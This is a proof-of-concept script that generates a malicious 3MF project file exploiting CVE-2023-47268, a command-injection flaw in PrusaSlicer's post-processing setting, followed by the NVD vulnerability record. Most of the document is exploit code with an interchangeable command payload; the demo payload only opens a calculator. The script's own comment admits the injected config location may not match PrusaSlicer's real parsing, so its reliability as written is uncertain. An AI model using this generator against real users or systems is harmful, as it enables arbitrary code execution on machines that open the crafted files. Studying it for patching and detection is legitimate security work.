CVE-2023-47268

# PoC Generator for CVE-2023-47268 # This script generates a malicious 3MF file that triggers command injection # via the post_processing configuration. import zipfile import os def generate_malicious_3mf(output_file, command): """ Creates a minimal 3MF structure with a malicious config. """ with zipfile.ZipFile(output_file, 'w') as zf: # 1. Essential 3MF structure files # [Content_Types].xml defines the file types in the package content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="model" ContentType="application/vnd.ms-package.3dmanufacturing-3dmodel+xml"/> </Types>''' zf.writestr('[Content_Types].xml', content_types) # 2. Relationships (empty for PoC) rels = '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> </Relationships>''' zf.writestr('_rels/.rels', rels) # 3. Dummy 3D Model file # Minimal valid model content to allow opening model = '''<?xml version="1.0" encoding="UTF-8"?> <model unit="millimeter" xml:lang="en-US" xmlns="http://schemas.microsoft.com/3dmanufacturing/core/2015/02"> <metadata/> <resources> <object id="1" type="model"> <mesh> <vertices> <vertex x="0" y="0" z="0"/> <vertex x="1" y="0" z="0"/> <vertex x="0" y="1" z="0"/> </vertices> <triangles> <triangle v1="0" v2="1" v3="2"/> </triangles> </mesh> </object> </resources> <build> <item objectid="1" transform="1 0 0 0 1 0 0 0 1 0 0 0"/> </build> </model>''' zf.writestr('3D/3dmodel.model', model) # 4. Malicious Configuration # Injecting the command into the post_process parameter # This mimics the internal config loaded from 3MF config_content = f"""[general] version = 1.0.0 [presets] post_process = {command} """ # Note: In a real exploit, the location of the config might vary or be embedded # in a specific way PrusaSlicer parses. This represents the logical payload. zf.writestr('Metadata/slic3r_pe.ini', config_content) print(f"[+] Malicious 3MF file generated: {output_file}") print(f"[+] Payload command: {command}") if __name__ == "__main__": # Example payload: Opening calculator on Windows # On Linux/Mac, use 'gnome-calculator' or 'open /Applications/Calculator.app' payload = "calc.exe" filename = "exploit_CVE-2023-47268.3mf" generate_malicious_3mf(filename, payload)

{"cve": {"id": "CVE-2023-47268", "sourceIdentifier": "[email protected]", "published": "2026-05-08T06:16:08.667", "lastModified": "2026-05-11T12:58:54.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In libslic3r/GCode/PostProcessor.cpp in Prusa PrusaSlicer through 2.6.1, a crafted 3mf project file can execute arbitrary code on a host where the project is sliced and G-code exported."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prusa3d:prusaslicer:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.1", "matchCriteriaId": "D2E1112B-142F-42E3-8235-FD5E37319549"}]}]}], "references": [{"url": "https://help.prusa3d.com/article/post-processing-scripts_283913", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://raw.githubusercontent.com/vulncheck-oss/0day.today.archive/main/local-exploits/39547.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://slic3r.org/download/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.prusa3d.com/page/prusaslicer_424/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://raw.githubusercontent.com/vulncheck-oss/0day.today.archive/main/local-exploits/39547.txt", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}